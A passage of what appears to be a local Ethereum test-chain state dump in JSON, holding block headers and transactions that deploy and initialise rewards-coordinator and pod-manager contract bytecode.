760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000000000460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f000000000000000000000000000000000000000000000000000000000000000016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000000000164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f00000000000000000000000000000000000000000000000000000000000000009091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220a36edf2d3dce7bfba092e6a7f8c98bee38b143e8f924a4f463353379f1a9adae64736f6c634300081b0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c90000000000000000000000000000000000000000000000000000000000093a8000000000000000000000000000000000000000000000000000000000005c4900000000000000000000000000000000000000000000000000000000000076a7000000000000000000000000000000000000000000000000000000000000278d000000000000000000000000000000000000000000000000000000000065fb7880","r":"0x9f5dee51c03f78b9a9e4201650c7f406811f8a8a50bea3a85c5274f7aee9cb50","s":"0x52a7e7d4ed80050ccb71fea0d273d35cfb26484f8ed97a10ef25956e870fa51e","yParity":"0x0","hash":"0x776076c028dc038e8cca81c0d5751ccfd43c9784435bcdd351396a7d71e48d0e"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xe5e6a123d0b8304491d040d1cb2d2d7de538f574ac284c6fd811de7f37d2532d","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x58beb221835218c50aa38328d8e7107cb6f5da404f2223d0f7ad8c3c1b1ac474","transactionsRoot":"0x15fa2565c65b64c798fc9da6bbca6269a938222df6dbe562d5c4b9be5d4372bd","receiptsRoot":"0x54ffca0765d69fd09f9b4567f748c3a1edc51b9915148aeb196e16df3c7b9664","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x000000000400000000000000400000004000000000000000008000000000000000000000000000000000000000000000000000000080001000000000000000000000000000000000000004000000020000010000000000000002000000000000000000000200000400000001008008000000040000000000000000000000004000000001000000000000000000000000008000000000c0000000000000000000000000000000000000000000000440000000000000000000000000000000008000000020400000200000000000040000010000002008000000000000000020000000000000000000000000000000000000000000000000000000000000400000","difficulty":"0x0","number":"0x15","gasLimit":"0x1c9c380","gasUsed":"0x1dc11","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x56cfd02","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x18","gas":"0x2b83f","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","r":"0x8a45120d596e8b8ca8db2ecee7e4c0a7ad2aa5efcdd1e669d300be5f88f5b8ee","s":"0x79257c8c420e081280f3232c031d4ec00ae37acf61d3606f86b08d780ce31500","yParity":"0x1","hash":"0x915e9f826dc9f67ede8161a0b96a52b57472804f5d53d99568b80d3cdf6546ec"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x7bb83840dc25b6baee1983d47c2cd54aaf16a8d85dec26e3b66f3710b137b3dd","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xfcc5a3b2dd61bc5b0a373892ba43e6d8d599d93cdfbf4ee3dc95fe768075f72e","transactionsRoot":"0x573fe7e71a428558c19ea5dc106ebdd59c07d1b51a3243f0f9bd4ea9ed385fab","receiptsRoot":"0x58b92dbb5e313a188be8d0f6bc86a127d87ad8340156482f230ad5ea529c31f2","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000002000000000000000000000000000000000000000000000000000000100000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000001000000000100000000000000","difficulty":"0x0","number":"0x1b","gasLimit":"0x1c9c380","gasUsed":"0xed6a","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x280f35b","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x1e","gas":"0x15b37","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","value":"0x0","accessList":[],"input":"0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000","r":"0xdaeb2a4acde0a569e0b0c8f5bb5509413a47c007de0f22b2effb3e935bdb203b","s":"0x368e5050d975862c128fe3983107c1808f99fb459612cc981d12161d6281731e","yParity":"0x1","hash":"0xd44073f051108c8f3c39edf183d0bcaea084672b414c2374c6d6750e9ef9fa27"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xae1660db424986b7c00debbd2bbd53bb8294f0365b9db692d56c3b78c100342d","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x528ab5ba3f5d46f421a4eb62b1b6e3e0f5ef612b00cd5c8e2cdd746b5e0119c3","transactionsRoot":"0x0fbda8cefc1a4d757187d222b799c68aa3bb815ceb5ed4436d2822cbef809771","receiptsRoot":"0xf868ca20a73ab3e354cda4f0f471f25ce5c92188d283db9856b64f8f8da20b36","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000001000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0xe","gasLimit":"0x1c9c380","gasUsed":"0x2bceba","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xd26dba7","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x11","gas":"0x38eed1","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x61012060405234801561001157600080fd5b5060405161349738038061349783398101604081905261003091610140565b6001600160a01b0380861660805280851660a05280841660c05280831660e05281166101005261005e610068565b50505050506101b5565b600054610100900460ff16156100d45760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015610126576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013d57600080fd5b50565b600080600080600060a0868803121561015857600080fd5b855161016381610128565b602087015190955061017481610128565b604087015190945061018581610128565b606087015190935061019681610128565b60808701519092506101a781610128565b809150509295509295909350565b60805160a05160c05160e0516101005161326d61022a60003960008181610636015281816106e001528181610b0e015281816113ea0152818161187e015261196e01526000610542015260006102e601526000818161027a01528181611369015261203c01526000610414015261326d6000f3fe6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156104